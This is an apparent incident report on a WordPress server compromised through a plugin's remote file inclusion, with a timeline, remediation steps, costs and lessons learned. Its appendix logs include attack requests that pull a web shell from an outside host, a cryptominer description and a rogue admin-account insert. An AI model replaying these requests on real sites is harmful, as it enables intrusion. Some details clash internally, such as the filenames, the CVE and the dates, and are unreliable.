

Web Server Compromise Incident

Date: 2026-09-19

Executive Summary

On 2021-02-06, following a new WordPress installation, the website began displaying advertisements for free research essays. An investigation revealed a large volume of requests originating from an IP address targeting the WordPress xmlrpc.php endpoint. Further investigation determined that the web server had been compromised through an unauthenticated remote file inclusion vulnerability (CVE-2012-4919) affecting the WordPress Gallery Plugin. The attacker uploaded a web shell, which provided the ability to execute commands on the web server and deface the website.

This incident resulted in a loss of site credibility due to the defacement, loss of availability to publish legitimate papers during the containment period, and unauthorized consumption of server compute resources by cryptocurrency mining software. To remediate the incident, WordPress was reinstalled and the vulnerable plugin was removed and replaced. The malicious cryptominer was removed and the server was checked for evidence of persistence. The estimated financial impact of the incident was \$2000.

Background

On 2021-02-01, a new installation of WordPress was deployed on the web server, and additional plugins were installed as part of the standard WordPress configuration. Following the initial installation, the server began receiving a high volume of requests targeting the xmlrpc.php endpoint.

On 2021-02-07 at approximately 07:43:00, the Security Operations Center (SOC) team was notified of a website defacement. Subsequent investigation revealed that the web server had been compromised through the WordPress Gallery plugin.

The attacker installed a web shell, which provided the ability to execute commands on the compromised server. The attacker also installed a cryptominer, resulting in the unauthorized use of server resources for cryptocurrency mining. In addition, the attacker defaced the website, created a new administrator user account to establish persistence, and allowed them to access the WordPress website.

Timeline

2021-02-01 12:32:00 (UTC-05:00)

Initial WordPress installation was completed with the standard plugins.

2021-02-03 09:32:40 (UTC-05:00)

Requests from IP address 47.75.76.54 accessed the website's login and admin author page. This suggests the attacker was gathering information and attempted to identify the administrator username.

2021-02-03 09:32:46 (UTC-05:00)

The web server began receiving a high volume of automated POST requests targeting the `/xmlrpc.php` endpoint from IP address 47.75.76.54.

2021-02-04 14:23:13 (UTC-05:00)

Activity originating from IP address 72.167.247.190 was observed downloading and installing a web shell, providing the ability to execute commands on the web server and establishing initial access.

2021-02-05 10:15:00 (UTC-05:00)

Cryptocurrency-mining malware, identified as `e4uickl47.php`, was installed on the web server.

2021-02-06 23:40:34 (UTC-05:00)

The attacker established persistence by creating a new WordPress user account, `admin2`, in the `wp_users` table. The account was assigned administrator privileges through entries in the `wp_usermeta` table.

2021-02-06 23:41:23 (UTC-05:00).

A login session from the existing `admin` account was recorded from IP address 157.75.167.23.

2021-02-06 23:43:56 (UTC-05:00).

The attacker modified and saved a WordPress post. The modified content contained unauthorized advertisements for essay-writing services, resulting in the website defacement.

2021-02-07 07:43:00 (UTC-05:00)

The SOC team was notified of the website defacement and initiated an investigation into the compromised web server.

2021-02-08 8:00:00 (UTC-05:00).

The web server was taken offline to contain the incident and prevent further unauthorized activity.

2021-02-08 10:00 (UTC-05:00).

A fresh WordPress installation was deployed with the affected plugin updated to a patched version.

2021-02-08 11:00 (UTC-05:00).

A vulnerability scan was performed to verify that the affected plugin had been patched and that the vulnerability was no longer present.

Actions Taken

In response to the web server compromise, the SOC team took the affected server offline to contain the incident and prevent further unauthorized activity. An investigation was then conducted, which identified the presence of a web shell and cryptocurrency-mining malware on the compromised server.

After taking the server offline, the SOC team evaluated two paths to resolution: restoring the server from the most recent backup, or doing a complete clean rebuild. Since the time of compromise couldn't be confirmed, there was no guarantee that the backup would fix the issue. The team elected to build a clean server as it posed a greater probability of success.

To eradicate the threat and recover from the incident, a fresh WordPress installation was deployed with the affected plugin updated to a patched version. Following the rebuild, the WordPress installation was scanned using a vulnerability scanner to verify that the identified vulnerability had been remediated and was no longer present.

Financial Impact

Item	Team	Hours	Cost
Detection (Log Analysis & Alert Review)	SOC Team	2	\$200
Initial Investigation	SOC Team	3	\$300
Containment	Incident Response	1	\$100
Server Rebuild	Infrastructure Team	2	\$200
Post Remediation Scan & Validation	Vulnerability Management	1	100
Website Clean Up	Web Administration Team	1	100
Server Downtime	IT Operations		500
Reputational Impact	Risk Management		500
Total		10 Hours	\$2,000

The estimated total financial impact of the incident was \$2,000. Approximately \$1,000 was attributed to 10 hours of incident-response activities, including investigation, containment, server reconstruction, WordPress reinstallation, plugin remediation, vulnerability validation, and website restoration. The remaining \$1,000 represents estimated indirect impacts, including website downtime reputational impact, and unauthorized consumption of server resources by cryptocurrency-mining software.

Lessons Learned

1. Patch and continuously monitor third-party WordPress plugins.
2. Monitor `xmlrpc.php` and other externally exposed application endpoints for abnormal activity.
3. Alert on creation or modification of privileged WordPress accounts.
4. Implement file-integrity and server-resource monitoring to detect web shells and cryptominers.
5. Establish documented containment, rebuild, and post-remediation verification
6. Maintain regular backups and test restoration procedures.
7. Require MFA for privileged WordPress accounts.
8. Use least-privilege permissions.
9. Maintain an inventory of installed plugins and versions.
10. Conduct periodic vulnerability scans.

Successes

- Web server access logs and the Splunk SIEM were critical in identifying the compromise.

Appendix

Figure showing automated Scanning Activity

```
47.75.76.54 - - [03/Feb/2021:09:32:40 -0500] "GET /xmlrpc.php HTTP/1.1" 405 328 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
47.75.76.54 - - [03/Feb/2021:09:32:41 -0500] "GET /wp-login.php HTTP/1.1" 200 2924 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
47.75.76.54 - - [03/Feb/2021:09:32:42 -0500] "GET /?author=1 HTTP/1.1" 301 270 "-" "Mozilla/5.0 (X11; U; Linux i686)Gecko/20071127 Firefox/2.0.0.11"
47.75.76.54 - - [03/Feb/2021:09:32:43 -0500] "GET /author/admin/ HTTP/1.1" 200 26336 "-" "Mozilla/5.0 (X11; U; Linux i686)Gecko/20071127 Firefox/2.0.0.11"
47.75.76.54 - - [03/Feb/2021:09:32:46 -0500] "POST /xmlrpc.php HTTP/1.1" 200 623 "-" "python-requests/2.22.0"
47.75.76.54 - - [03/Feb/2021:09:32:47 -0500] "POST /xmlrpc.php HTTP/1.1" 200 623 "-" "python-requests/2.22.0"
47.75.76.54 - - [03/Feb/2021:09:32:47 -0500] "POST /xmlrpc.php HTTP/1.1" 200 623 "-" "python-requests/2.22.0"
47.75.76.54 - - [03/Feb/2021:09:32:48 -0500] "POST /xmlrpc.php HTTP/1.1" 200 623 "-" "python-requests/2.22.0"
47.75.76.54 - - [03/Feb/2021:09:32:48 -0500] "POST /xmlrpc.php HTTP/1.1" 200 2351 "-" "python-requests/2.22.0"
47.75.76.54 - - [03/Feb/2021:09:32:49 -0500] "POST /xmlrpc.php HTTP/1.1" 200 2351 "-" "python-requests/2.22.0"
47.75.76.54 - - [03/Feb/2021:09:32:49 -0500] "POST /xmlrpc.php HTTP/1.1" 200 2351 "-" "python-requests/2.22.0"
47.75.76.54 - - [03/Feb/2021:09:32:50 -0500] "POST /xmlrpc.php HTTP/1.1" 200 2351 "-" "python-requests/2.22.0"
47.75.76.54 - - [03/Feb/2021:09:32:51 -0500] "POST /xmlrpc.php HTTP/1.1" 200 2351 "-" "python-requests/2.22.0"
47.75.76.54 - - [03/Feb/2021:09:32:51 -0500] "POST /xmlrpc.php HTTP/1.1" 200 2351 "-" "python-requests/2.22.0"
47.75.76.54 - - [03/Feb/2021:09:32:52 -0500] "POST /xmlrpc.php HTTP/1.1" 200 2351 "-" "python-requests/2.22.0"
47.75.76.54 - - [03/Feb/2021:09:32:53 -0500] "POST /xmlrpc.php HTTP/1.1" 200 2351 "-" "python-requests/2.22.0"
47.75.76.54 - - [03/Feb/2021:09:32:53 -0500] "POST /xmlrpc.php HTTP/1.1" 200 2351 "-" "python-requests/2.22.0"
47.75.76.54 - - [03/Feb/2021:09:32:54 -0500] "POST /xmlrpc.php HTTP/1.1" 200 2351 "-" "python-requests/2.22.0"
47.75.76.54 - - [03/Feb/2021:09:32:55 -0500] "POST /xmlrpc.php HTTP/1.1" 200 2351 "-" "python-requests/2.22.0"
47.75.76.54 - - [03/Feb/2021:09:32:55 -0500] "POST /xmlrpc.php HTTP/1.1" 200 2351 "-" "python-requests/2.22.0"
47.75.76.54 - - [03/Feb/2021:09:32:56 -0500] "POST /xmlrpc.php HTTP/1.1" 200 2351 "-" "python-requests/2.22.0"
```

Web Server Log showing Exploitation Attempts and initial access through webshell installation

```
72.167.247.190 - - [04/Feb/2021:14:23:08 -0500] "GET
/wp-content/themes/multidesign/timthumb.php?src=http://img.youtube.com.dollhousedelight
.com/.mods/bbb.php" 404 16347 "-" "-"
72.167.247.190 - - [04/Feb/2021:14:23:09 -0500] "GET
/wp-content/themes/freeside/timthumb.php?src=http://img.youtube.com.dollhousedelight.co
m/.mods/bbb.php" 404 16347 "-" "-"
72.167.247.190 - - [04/Feb/2021:14:23:10 -0500] "GET
/wp-content/themes/paper-and-glue//timthumb.php?src=http://img.youtube.com.dollhousede
light.com/.mods/bbb.php" 404 16347 "-" "-"
72.167.247.190 - - [04/Feb/2021:14:23:12 -0500] "GET
/wp-content/plugins/gallery/timthumb.php?src=http://img.youtube.com.dollhousedelight.com
/.mods/bbb.php" 404 16347 "-" "-"
72.167.247.190 - - [04/Feb/2021:14:23:13 -0500] "GET
/wp-content/plugins/wordpress-gallery-plugin/timthumb.php?src=http://img.youtube.com.doll
housedelight.com/.mods/bbb.php" 200 15678 "-" "
```

Figure Showing Cryptominer malware installed on Server

3138aea10d1a9de4eb8326565ba38c8fbc252c9433ae8c4627043d9fc0494010

27/60 security vendors flagged this file as malicious

Community Score: 27/60

Unconfirmed 164809.crdownload

Size: 22.97 MB

Last Analysis Date: 7 months ago

GZIP

tar-bundle

DETECTION DETAILS RELATIONS COMMUNITY 1

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Code insights Malicious

Package: twentytwenty (npm)

Version: 1.6.0

Description: Default WP Theme

The package contains a PHP file (html/wp--includes/e4u1ck1w47.php) that executes system commands to install and run a cryptocurrency miner (cnnr-g) on the host system. It attempts to establish persistence by adding a cron job to re-download and execute itself. It also monitors and manages the miner process, and performs cleanup of related files. This behavior is a clear indicator of malicious activity, specifically cryptojacking.

Show less

Popular threat label: trojan.webshell/shell

Threat categories: trojan, pua

Family labels: webshell, shell, webshell

Security vendors' analysis

AllCloud, BitSparrow-Phn/Webshell.NIM, ALVAc, Trojan.Generic-37357247

SQL Dump Showing New User Creation

```
INSERT INTO `wp_users` VALUES  
(1,'admin','[REDACTED]','admin','', 'http://10.128.25.182','2021-02-01  
19:56:31','',0,'admin'),(2,'admin2','[REDACTED]','admin2','weoriulgkwelrkulsdku@x234idlkguli3  
7sdf.com','', '2021-02-06 23:40:34','',0,'admin2');
```